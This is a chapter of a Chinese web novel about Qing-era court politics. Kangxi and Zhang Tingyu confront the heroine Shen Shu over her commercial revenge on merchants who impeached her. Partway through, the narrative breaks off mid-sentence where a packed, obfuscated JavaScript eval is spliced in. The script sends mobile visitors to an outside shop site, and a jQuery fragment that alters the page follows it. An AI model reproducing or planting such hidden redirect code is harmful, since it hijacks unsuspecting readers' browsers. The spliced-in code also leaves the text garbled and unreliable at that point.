“皇上,您还记得前几日微臣曾禀告说沈氏要报复商贾一事吗?”
告状也是需要技巧的,张廷玉觉得没能看住沈姝,也没能劝住她不能全是他的错。
那天皇上可是还说要看看她到底会怎么报复,所以现在沈姝惹出来这种乱子,皇上可不能怪他。
康熙闻言瞥了张廷玉一眼,“怎么了,有话直说。”
“皇上您看看这个,您边看微臣边说。”
说着张廷玉从袖口中掏出来这张惹出乱子的红纸双手呈递过去。
康熙接过来扫了一眼,有些不明所以,然后就听张廷玉说道:“皇上,此乃出自沈氏之手。
她的意思是广而告之,可以免费教授任何想要做布料或绸缎生意的人如何染色,而那些弹劾过她的商贾们俱都被排斥在外。
如此一来,凭借此举其他人便可迅速替代掉那些被排斥的商贾。
而沈氏的染料低廉至极,那些被排斥的商贾完全没有任何招架之力,他们的生意会直接垮掉。
眼下正是因为这个,京城的商贾们都在做拼死挣扎。若是波及开来,大清国所有的布商、绸缎商们怕是都要乱起来了啊!”
“胡闹!”
康熙闻言拍了拍桌子,身为帝王,最不愿看到的就是不稳定。
张廷玉所说不是危言耸听,大清国如此之大,单单是布商、绸缎商都不知几何?
这些人要真是闹腾起来,难免事态不会扩大化,到时候还不知道会出什么更大的乱子!
见皇上生气,张廷玉连忙接着说道:“皇上,微臣进宫之前已经亲自去劝过沈氏,可是她执拗异常,不愿放弃报复。
微臣实在是无法,只得速来禀告皇上,请皇上定夺!”
这事难就难在对待沈姝的态度上,现在还指望着她制作肥料呢,所以他可不敢用强的,当然是要皇上来决定应该怎么办?
康熙倒是没有责怪张廷玉,确实他做不了主。可这事得解决,想到这里他直接说道:“李德全,去把她给朕喊来!”
这个她,自然指的是沈姝。
李德全得令直奔而去,皇上吩咐的是“喊”,不是押,这得用轿子请。
康熙看向张廷玉问道:“她如此这般究竟是想要做什么?”
其实张廷玉倒是有些猜测,觉得沈姝应该是想要皇上处罚那些御史,可这话他身为臣子不能直说。
于是便说道:“微臣劝说之时,她直言不讳说要报复。瞧那意思,似乎是对弹劾一事犹愤而不平。”
康熙听的有些生气,“她愤而不平就要闹事?”
张廷玉想说的是,是啊!
她就是要闹事,关键她还真能闹,这事是一般人能闹出来的吗?
一想到沈姝那些话,张廷玉就直想摇头。
气性如此之大,报复心如此之重的女子,他还是头一次见。
但又觉得皇上也不可能真把她怎么样了,毕竟肥料更重要。
更何况这事,皇上强行要解决,也不是不能解决。
但思及沈姝所说关于灯的事情,念及她的善心,纵使是生气,张廷玉还是得为她美言几句。
“皇上,沈氏毕竟是女子,年纪又不大,自觉受了委屈而不甘,难免桀骜执拗。”
这话听的康熙哼了一声,“若不是惜才,朕哪里能容得了她使小性子!”
那是,张廷玉觉得这话倒是不假。
皇上对沈姝还算是宽和,当然是因为她值得。不过如果她来了之后还是像对自己那般态度,皇上肯定是真的会生气。
可张廷玉没想到,沈姝来了之后,对皇上也没有客气到哪里去!
沈姝被李德全带到南书房后,康熙并没有直接斥责,而是让她起来回话并讲起了道理,“沈氏,你被弹劾,朕亦没有怪罪于你。现在你如此报复,是不是过分了?”
过分?
怎么,犯罪未遂就不用受到惩罚啊!
沈姝垂着眼帘,丝毫不肯让步,直接回道:“皇上您没有怪罪是因为民女能够自辩,如果他们有本事自救,那民女也不能把他们怎么样。
在商言商,虽然他们手段卑鄙,但民女是光明正大的做生意,并没有违背律法。
商场如战场,总不能因为他们技不如人就要民女委曲求全。”
哎,她可真敢说,连皇上给的台阶都不肯就着下。
这话听着很有道理,听完之后,张廷玉眼观鼻鼻观心的在等着看皇上怎么办?
康熙不想讲沈姝所讲的道理,耐着性子说道:“沈氏,得饶人处且饶人,纵使是你占了些理,可也不能太过分。”
“这怎么就过分了呢?”
沈姝当然不会轻易放弃,继续道:“他们轰轰烈烈的欺负人,又是血书又是弹劾的。民女虽是一弱女子,但也不能就这样任凭他人如何欺负而不反击。
难道因为他们人多势众,而民女茕茕孑立,所以这道理反倒是在他们那边了?”
这话说的已经算是比较难听了,直接就是指责处置之人是欺软怕硬,欺负弱小。
康熙自然也听出来了话中的指责之意,身为帝王,做了几十年的皇帝,有几个人胆敢如此的当面指责他?
没有人喜欢被顶撞,帝王也不例外。
“沈氏!”
康熙的声音变得严厉,但沈姝终归是女子,而且她确实值得期待,所以他也不愿意直接动怒发脾气。
而是呵斥道:“要知道身为女子,当温婉柔顺,你看看你这样子?
哪里有半点儿女儿家的柔和!”
谁规定女人就一定要温婉柔顺又柔和?
她沈姝就偏偏不是这样的女人!
不过心里虽然是这么想的,但沈姝不敢直接说出来。
她只是想极限拉扯一下,又不想被拖出去打板子或者砍头。
所以低着头,沉默以对。
见状康熙继续说教:“你这性子要是不改改,以后嫁了人,夫家能受得了?”
这话说的,沈姝实在是忍不住了,“若嫁人就是要过去受委屈,那这人,不嫁也罢!”
“放肆!”
伴随着这句呵斥,是“啪”的一声,康熙怒而拍桌子的声音。
一旁的张廷玉眼观鼻鼻观心的垂着头,心道:看来皇上也照样被气的不轻。
原来这脾气不仅仅是针对他,就连皇上都未能幸免。
不过她这胆子,实在是太大了……
之前还觉得她深谙为官之道,现在可好,直接让皇上下不来台,到底是想怎样啊?
拍完桌子之后康熙不吭声,沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006879|145802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姝只是应声垂首而跪,很是硬气的拒不服软。
一时间,南书房里静的有些瘆人。
跟随皇上多年,李德全知道康熙这时候是在等着沈姝低头认错,可她就这么直愣愣的毫无反应……
他不得不开口劝说:“沈姑娘,皇上体恤你是女子,被如此冒犯仍在宽容,你就服软给皇上认个错吧!”
沈姝闻言抬头问道:“皇上,仅仅只是因为民女能制作新式染料,便已遭十五道御史弹劾。
若是再折腾出来其他东西,是不是也会因此而被弹劾?”
闹了半天,原来是担心这个?
康熙简直气笑了!
“你当朕是昏君不成?”
沈姝的回答很迅速,“民女不敢。皇上圣明。”
算了,已经试过,感觉不太行,为了保命她决定服软。
康熙看着沈姝说道:“你的胆子,实在是大的很,怪不得张廷玉劝不动!”
他的语气已经褪去了之前的严厉,如此大胆的女子,着实少见。
既然她如此的执拗,康熙觉得还是要体恤一二,于是说道:“若是朕一味的让你直接让步放弃,怕是你心中的不甘难消。
这样吧,以一个月为限,朕容你如此这般,算是那些商贾对你的赔罪。”
沈姝听罢只得应道:“民女谢皇上主持公道,皇上圣明。”
她知道,这一个月时间应该可以算作是自己交出染料的期限。
看样子只能恶心那些商贾一个月,真是便宜他们了!
就这还没有算上京城以外的那些,不过时间上已经来不及了。
其实她知道这么做会被阻止,毕竟牵扯到那么多人。
人多确实势众,不是还有那句话叫法不责众吗?
而她毕竟势单力薄……
对于沈姝,张廷玉心中已经腾起一丝的佩服之意。
就为这一个月,她可真是敢死咬不放,为此不惜尝试顶撞皇上!
很显然她这人赌性不小,这摆明了是在赌皇上会不会真的因此而龙颜大怒。
怪不得不听自己的劝,张廷玉觉得沈姝应该是就想来跟皇上亲自谈条件。
现在条件谈好了,她就不执拗了。
他一直都以为她会以染料或肥料为契机来谈另外一种条件,比如嘉奖。
然而并没有,却是在斤斤计较如何报复。这可真是让他有些想不通,难道她一点儿都不在乎这些身外之物?
看着也不像啊!
沈姝的想法比张廷玉所想要复杂些,她只是想通过此事来确认一下自己的价值,同时树立一个自己不是好惹的印象。
至于所谓的嘉奖,并不是不想要,她还没有大公无私到那种程度,当然在乎嘉奖。
只是这种嘉奖根本就不在于她想不想要或者想要什么,而在于康熙愿不愿意给。
对于沈姝来说,康熙如果厚道,那么她便会多发挥一下自身所学。
如果不厚道,那就不要怪她摆烂来应付了。可以这么说,如果今天一点儿都不支持她的报复,那她就会直接选择消极怠工。
眼下,凑合先干着吧!
不得不说,姝这次算是沈姝赌赢了。
康熙自己就是那种胆大有主见之人,所以也欣赏同种类型的。